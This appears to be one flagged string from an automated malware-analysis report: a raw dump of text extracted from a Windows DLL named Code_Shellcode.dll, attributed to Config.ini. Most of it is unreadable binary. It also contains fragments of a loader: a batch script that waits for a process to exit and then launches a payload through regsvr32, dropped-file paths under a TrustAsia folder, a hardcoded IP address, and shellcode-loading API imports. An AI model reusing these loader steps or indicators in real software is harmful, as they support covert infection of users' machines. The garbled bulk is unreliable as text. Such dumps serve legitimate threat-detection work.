Observed string: "SUVWjkXjefXjrYjn[jlZj3fXj2fXj.fXjdfD$eeD$@pfD$PLoD$RaD$SfD$TLiD$VbD$XaL$YfD$ZyAfD$DViL$FfD$GtuD$IaD$KAT$MfD$NocfD$\ViL$^fD$_tuD$aaD$cPD$eotecD$itushIuctiojeYCachD$lGD$ntNatfD$rivD$uSystfD$zmI\$|fD$}fofctio\$8PUUD$DfD$8PUD$lfD$Pf9l$8O<;NTs.B;NTr9nTvA;nTr(f;Et$ ;l$(rL$(8L$(UfT$(8T$(VfL$,QP(j Z;l$$3D$4;_^][D* 3.;D$D$ C;\$_^][!This program cannot be run in DOS mode.Rich.text`.rdata@.data.relocQLRhdSVW;U$w5E$+E;E$wM$+M SVWtSVW;U w5;U t;E u;E wM +M`SVWj@j"(SVWt:hp9;t>QQSWj^_[]YY^]j,VW@s;@s;BA;SPPPPPWSPP9EY_^[Y_^[u#SPuHSWt5SWY_^[u"h$Y_^[Y__^[SVW3Genu5ineI5ntelt#=`j$X9E_^[3QQSVWd;p$up$^]8csmY_^[t2VW>csm?RCC?MOC?csmhcsmoF foF foF foV fo^0fof@fonPfov`fo~pfFGIuFGIuj X+_^[]8_^]8csmt VPBVj(jYYPVY_^[Y_^[u SWEE,P_^[]dSVW;csm;csmu9s;csmv!8Eu QWuj_^[EE$P;MOC;RCC@u)ju Qj@_^[]9p u":csmft&9q:csmr49z@_^[]RVWSY_^[>csm8csmt0QWY_^[URPQQhPL$,3UVWS[_^]SVWj_^[]Wu%jUQPXY]Y[PVVVVVPVVVVVY_^[Y_^[j,h({Y_^[Y_^[_^[]WWWWWY_^[PPPPPPPPPPPPPu#Q3SSSSSu#Q3SSSSSPPPPPPPPPPPPPPP,0;9uwIPS3uSSSSj_[^]j X+j X+Y_^[wGt>PVVSY[^_< t4_^]PPPPPr~f;urlf;urZf;urHf;ur6f;ur$f;j:Xf;r~f;urpf;urbf;urTf;urFf;ur8f;ur*f;uf;1u@( tCSPjY_^[Y_^[Y_^[Y_^[FLY;t!VPeVhdtahdeVhdtfhdY_^[Y_^[Y_^[_^[]SSSSSPPPPP VWhAf;:uPPPPPPPPPPSWt@jUPPPPPf90tf97tVVVVVQQSVWj.Yf;PVj@Wj.Xf;_t^PVj@u>PVju/j,Xf;SSSSSWj.YY_^]u,f9FPSPt j8ZPPPPP_^[]SSSSS8OuF _^[8OuPPPPPj;Xf9j;Xf98f;9PPPPPPPPPPPPPPP6j@W6jUQSSSSSQSVW7jUVSSSSS6jUWSSSSSSVW3_^[]SVW3Y_^[Y_^[xE;5SVWPSS@jL2.;Y_^[PVVVVVY_^[SPPPY_^[xK;5PQQQY_^[_^[]M,j"^QRRRRRu$RVj0Xuj0YfVj0XPWj0Yjdr'jjdVSj0Yjj0Yju(RPWM$j"^QRRRRR8U t"80t=-jd[;PPPPPu RP3W@j0PQWPV}'9E _^[PPPPPt,9F_^[]QQSVWSSSSSu0SPu0St:(_^[RWPQjj"[VWWWWQSVWu#VhQWj_^[]Y_^[QSVWWu7j_^[]Wj#YY_^[PVVVVVY_^[PWWWWW$SVWSVPQuK;Ut8 S;T9 ;D9$Y_^[D8(Ht'D8(HtUOXf9EXf9ED8(Ht5F-^_[_f9;uY_^[PVVVVVY_^[wFt&[PVVVVVj"[WVVVV_^[]PVVVVVf94HY_^[_PSSSSSj"_VSSSSWVVVVVf90tPVSRSQVPVSRjPVVVjt9uu:f;>ut9;uWHPhtjf9f98ttVWjUj@Sht4j@^PQQQQQE ^PQQQQWj _j _=sv+3sv+3sv*RE H;PPPPPYY^[]SVW3_^[]_^[]PPPPPRSPQrHSPV_^[]Y_^[?SVWhSSSSSSSSw(t!ux9}PPPPPPPPVHSVWQSVW_^[] VWjw/PV<0WVv!WQPPPPPPPPj-YfSVRQ@h@F<$tL|%=2_^[]WQVSF95@etPjQQSVYY^[_^[]Y_^[Y_^[WVS3bad allocationw+bxsuccessaddress family not supportedaddress in useaddress not availablealready connectedargument list too longargument out of domainbad addressbad file descriptorbad messagebroken pipeconnection abortedconnection already in progressconnection refusedconnection resetcross device linkdestination address requireddevice or resource busydirectory not emptyexecutable format errorfile existsfile too largefilename too longfunction not supportedhost unreachableidentifier removedillegal byte sequenceinappropriate io control operationinterruptedinvalid argumentinvalid seekio erroris a directorymessage sizenetwork downnetwork resetnetwork unreachableno buffer spaceno child processno linkno lock availableno message availableno messageno protocol optionno space on deviceno stream resourcesno such device or addressno such deviceno such file or directoryno such processnot a directorynot a socketnot a streamnot connectednot enough memorynot supportedoperation canceledoperation in progressoperation not permittedoperation not supportedoperation would blockowner deadpermission deniedprotocol errorprotocol not supportedread only file systemresource deadlock would occurresource unavailable try againresult out of rangestate not recoverablestream timeouttext file busytimed outtoo many files open in systemtoo many files opentoo many linkstoo many symbolic link levelsvalue too largewrong protocol typeunknown error0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyzbad exception__based(__cdecl__pascal__stdcall__thiscall__fastcall__vectorcall__clrcall__eabi__swift_1__swift_2__swift_3__ptr64__restrict__unalignedrestrict( new deleteoperator`vftable'`vbtable'`vcall'`typeof'`local static guard'`string'`vbase destructor'`vector deleting destructor'`default constructor closure'`scalar deleting destructor'`vector constructor iterator'`vector destructor iterator'`vector vbase constructor iterator'`virtual displacement map'`eh vector constructor iterator'`eh vector destructor iterator'`eh vector vbase constructor iterator'`copy constructor closure'`udt returning'`RTTI`local vftable'`local vftable constructor closure' new[] delete[]`omni callsig'`placement delete closure'`placement delete[] closure'`managed vector constructor iterator'`managed vector destructor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexit destructor for '`vector copy constructor iterator'`vector vbase copy constructor iterator'`managed vector copy constructor iterator'`local static thread guard'operator "" operator co_awaitoperator<=> Type Descriptor' Base Class Descriptor at ( Base Class Array' Class Hierarchy Descriptor' Complete Object Locator'`anonymous namespace'FlsAllocFlsFreeFlsGetValueFlsSetValueInitializeCriticalSectionEx(null)CorExitProcess !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~d8L2[aOni*{@2&@"RP(eLK(wFEMhh0'DowM&~ $s%r@b;zO]$qE};*xh["93iu+-,\lo}obwQ4&SgwRE]?nz(=87Mv2!L.2cQrX/4Bk=yI^?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~SundayMondayTuesdayWednesdayThursdayFridaySaturdayJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberMM/dd/yydddd, MMMM dd, yyyyHH:mm:ssNAN(SNAN)nan(snan)NAN(IND)nan(ind)e+000AreFileApisANSICompareStringExEnumSystemLocalesExGetDateFormatExGetLocaleInfoExGetTimeFormatExGetUserDefaultLocaleNameIsValidLocaleNameLCMapStringExLCIDToLocaleNameLocaleNameToLCIDAppPolicyGetProcessTerminationMethodlog10sinhcoshtanhasinacosatanatan2sqrtceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_logb_nextafterUTF-8UTF-16LEUNICODE1#INF1#QNAN1#SNAN1#INDlog10lzZ?k8=?5Wg4pNv$^w(@BC .=(lX #{ =`~R=}s"=%S#[k"B <1=\-!y#.X'=i9+=Unknown exceptionbad array new lengthstring too longiostreambad castbad locale namefalsetrueios_base::badbit setios_base::failbit setios_base::eofbit settarget.pidmonitor.bat@echo offset "PIDFile=%TEMP%\target.pid"set "VBSPath=set /p pid=<"%PIDFile%"del "%PIDFile%":checktasklist /fi "PID eq %pid%" | findstr /i "%pid%" > nulif errorlevel 1 ( regsvr32 "%VBSPath%" exittimeout /t 15goto checkcmd.exe /B /c "%s".exe.vbs.exe.dll.NET Framework NGEN v4.0.8745\TrustAsia\intel.dllopencmd.exe.NET Framework NGEN v4.0.15662\Kiyan.exeopencmd.exe.NET Framework Single v4.0\insttect.exeopencmd.exe18852\TrustAsia\Temp.apsintel.dll,DllRegisterServeropencmd.exe\TrustAsia\intel.dll\TrustAsia\Exit.apszhuxianluUserAccountBroker.exeinvalid string positioniostream stream errorvector too longRSDS\Code_Shellcode - \Release\Code_Shellcode.pdbGCTL.text$di.text$mn.text$x.text$yd.idata$5.00cfg.CRT$XCA.CRT$XCC.CRT$XCL.CRT$XCU.CRT$XCZ.CRT$XIA.CRT$XIC.CRT$XIZ.CRT$XPA.CRT$XPX.CRT$XPXA.CRT$XPZ.CRT$XTA.CRT$XTZ.rdata.rdata$r.rdata$sxdata.rdata$voltmd.rdata$zzzdbg.rtc$IAA.rtc$IZZ.rtc$TAA.rtc$TZZ.xdata$x.edata.idata$2.idata$3.idata$4.idata$6.data.data$r.data$rs.bssCode_Shellcode.dllVFPowerGetTempPathACloseHandleGetCurrentProcessIdCreateProcessAGetModuleFileNameAWaitForSingleObjectMultiByteToWideCharSleepDeleteFileASetFileAttributesAWideCharToMultiByteWinExecProcess32FirstVirtualAllocCreateMutexACreateToolhelp32SnapshotGetFileAttributesAGetCurrentThreadProcess32NextCreateThreadKERNEL32.dllShellExecuteExASHGetFolderPathASHELL32.dllfreeaddrinfogetaddrinfoWS2_32.dllEnterCriticalSectionLeaveCriticalSectionInitializeCriticalSectionExDeleteCriticalSectionEncodePointerDecodePointerLocalFreeLCMapStringExGetStringTypeWGetCPInfoIsProcessorFeaturePresentQueryPerformanceCounterGetCurrentThreadIdGetSystemTimeAsFileTimeInitializeSListHeadIsDebuggerPresentUnhandledExceptionFilterSetUnhandledExceptionFilterGetStartupInfoWGetModuleHandleWGetCurrentProcessTerminateProcessGetLastErrorRtlUnwindRaiseExceptionInterlockedFlushSListSetLastErrorInitializeCriticalSectionAndSpinCountTlsAllocTlsGetValueTlsSetValueTlsFreeFreeLibraryGetProcAddressLoadLibraryExWExitProcessGetModuleHandleExWGetModuleFileNameWGetFileSizeExSetFilePointerExGetStdHandleGetFileTypeHeapAllocFlushFileBuffersWriteFileGetConsoleOutputCPGetConsoleModeHeapFreeLCMapStringWGetLocaleInfoWIsValidLocaleGetUserDefaultLCIDEnumSystemLocalesWReadFileReadConsoleWDeleteFileWHeapReAllocFindCloseFindFirstFileExWFindNextFileWIsValidCodePageGetACPGetOEMCPGetCommandLineAGetCommandLineWGetEnvironmentStringsWFreeEnvironmentStringsWGetProcessHeapSetStdHandleCreateFileWHeapSizeWriteConsoleWSetEndOfFile abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ137.220.135.67.?AVlogic_error@std@@.?AVlength_error@std@@.?AVout_of_range@std@@.?AV_com_error@@.?AVbad_exception@std@@.?AVfailure@ios_base@std@@.?AVruntime_error@std@@.?AVbad_alloc@std@@.?AVsystem_error@std@@.?AVbad_cast@std@@.?AV_System_error@std@@.?AVexception@std@@.?AVbad_array_new_length@std@@.?AV_Locimp@locale@std@@.?AVtype_info@@.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@.?AV?$codecvt@DDU_Mbstatet@@@std@@.?AVios_base@std@@.?AVerror_category@std@@.?AV?$ctype@D@std@@.?AVcodecvt_base@std@@.?AV_Facet_base@std@@.?AU_Crt_new_delete@std@@.?AV?$_Iosb@H@std@@.?AV_Iostream_error_category2@std@@.?AV?$basic_ofstream@DU?$char_traits@D@std@@@std@@.?AV?$numpunct@D@std@@.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@.?AUctype_base@std@@.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@.?AVfacet@locale@std@@.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@0$0B0T0b0i0s02,3l3485h5D6m6=,=v=>F>X?h?8 8@89h;f</>C>W>3L3)5V52L4x8~84&6vP>I1S1v7|77014<457?7q73F5&8v91I1l11;2A2q24D5o5=F=z=?)?3???I?T?^?i?s?~?4!4:4@4U4t45@5`56(6:6J6i6717M7i7s7z77+8O89L9g9n901k1*2o250585>5L5T5u56'7J781999l9v9:(;B;= =7===C=I=O=U=[=p=>#>K>]>?&?/?#0{01$1-181@1J1U1^1d12%23292<3^3m3v34$4745&5@5I5N5a5u5z56*686>6D6J6P6V6]6d6k6r6y6727@7F7L7R7X7^7e7l7s7z7768D8[88&949K9]9m9:";:;?;F1%1313$3(3,303<#=W=_=q=~=?,?@?\?g?u?{?=0L0,1Z3?6?V?d?k?q?010;0G0c0r0w0|01#1(1-1K1U1a1f1k12J2Q2W23!3(3U3495S5X5?9Y9|99 ;4=8=<=@=D=H=L=P=0 0$05 5$5;Hz>?'?/?5?0$0-0E0L0X0p0u02+232<2E2V2g24 5'525@5G5M5h5o5>N?~?799W9n9:V;o;;K0Q0\0g00?1R1t13=3M34T4i4t4|45%5*5L5i5>#?2?d?!0v01q2x22%343F3Y3s33"4)4H4v4505@5M5q5{556N6g6l6u68L8W8a8p8x8H0N0`0k0162u27t7|7=K>[>090Q02+3U3x34@4j4|4465\56E6l66G7w77M8n8?9e99]:g:;/;e;?1?;?b?l?=S>e>k>0<1C1L1]1i1n1s12$2)292>2C2S2X2]2m2r2w23<3I3^3g3p34(4Y4535B5M5R5W5u5656E6f6}68!878D8I8W898:z:9;W;<1=N=>4?W?Y0r0181V1j13&456E6O6?1?O?9/989>9:(:E;N;f;3)4U5p5z55P6o67%727<7L78L:n:;h;q;u;{;;$<`<=0>5>;>@>*0A0G0P0e0r0y00:1T12#292s2z23*3q3~34<4C45i5A69'999K9]9='=a=2B6(7;|8G89#9l9u9~9;L$>4>8><>T>d>t>? ?$?4?8?P?T?l?p?t?|?040D0H0X0\0d0h0l0t07(7H7T7t7|78 8(808@8d8l8t8|88 909<9\9h9: :@:H:P:\:|:; ;,;4;h;x;<0(>4>T>`>? ?(?0?8?H?P?l?t?|?0$0,040<0D0L0T0\0d0l0t0|01$1,141<1D1L1T1\1d1l1t1|12$2,242<2D2L2T2\2d2|23$3,343<3D3L3T3\3d3l3t3|34$4,444<4D4L4T4\4d4x45 5@5L5l5x56(6H6T6t67$707P7\7|78 848<8D8L8P8T8\8p8x89 9<9@9H9T9t9|9:$:H:T:\:; ;@;`;< <@<\<`<=(=`=> >@>`>? ?@?`?0 0@0`01,14181@1T1\1p1x12(202D224282h2x2;,;L;l;<(,>H>t>?,?d?dave" (Indicator: ""del ") in Source: Config.ini